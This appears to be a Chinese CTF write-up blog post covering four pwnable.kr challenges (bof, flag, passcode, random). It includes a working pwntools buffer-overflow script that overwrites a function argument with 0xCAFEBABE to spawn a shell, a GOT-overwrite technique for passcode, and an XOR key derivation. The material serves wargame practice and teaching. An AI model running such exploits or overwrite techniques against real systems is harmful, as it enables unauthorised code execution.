pwnable.kr bof,flag,passcode,random

目录

1.bof

2.flag

3.passcode

4.random


1.bof

32位,开了canary,拖入ida分析

只要把func函数的参数改为0xcafebabe即可get shell

通过动态调离参数的距离为0x34

EXP:

from pwn import *
from LibcSearcher import *
from pwnlib import *
import base64
from ctypes import *

sh=remote("pwnable.kr",9000)
#sh=process("./rbp")
#elf=ELF("./rbp")
libc=ELF("/lib32/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.arch="amd64"

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda :u64(sh.recv(6)+"\x00"*2)


#un("me : \n")
sl("a"*0x34+p32(0xCAFEBABE))


inter()
 

2.flag

file分析加了upx壳,通过upx指令脱壳

脱壳后拖入ida,获得flag

3.passcode

ssh连接进去,简单的分析了源代码,发现存在覆盖漏洞

通过gdb分析,Welcome函数中name的输入可以用来覆盖passcode1的值

在name里直接写入fllush的got表到passcode1中,name的起始地址在[ebp-0x70]处,passcode1位于[ebp-0x10]处,之间相差96个字节。welcome函数中如果要输入100个字节的话,最后四位可以覆盖掉passcode1的地址,然后在第一个scanf输入时因为没有&符,所以可以把fflush的got表改为system("/bin/cat flag")的地址,然后再执行fllush函数时即可获得flag

4.random

random是固定的随机值,随机值为1804289383,在if判断中自己输入的值异或随机值=0xdeadbeef就可以获得flag 

大家先了解下异或,是一个很简单的运算符,例如 两个相同的数异或等于0  a^a=0 如果a^b=c 则a^c=b c^b=a

所以通过1804289383^0xdeadbeef就等于key(3039230856),然后运行random获得shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值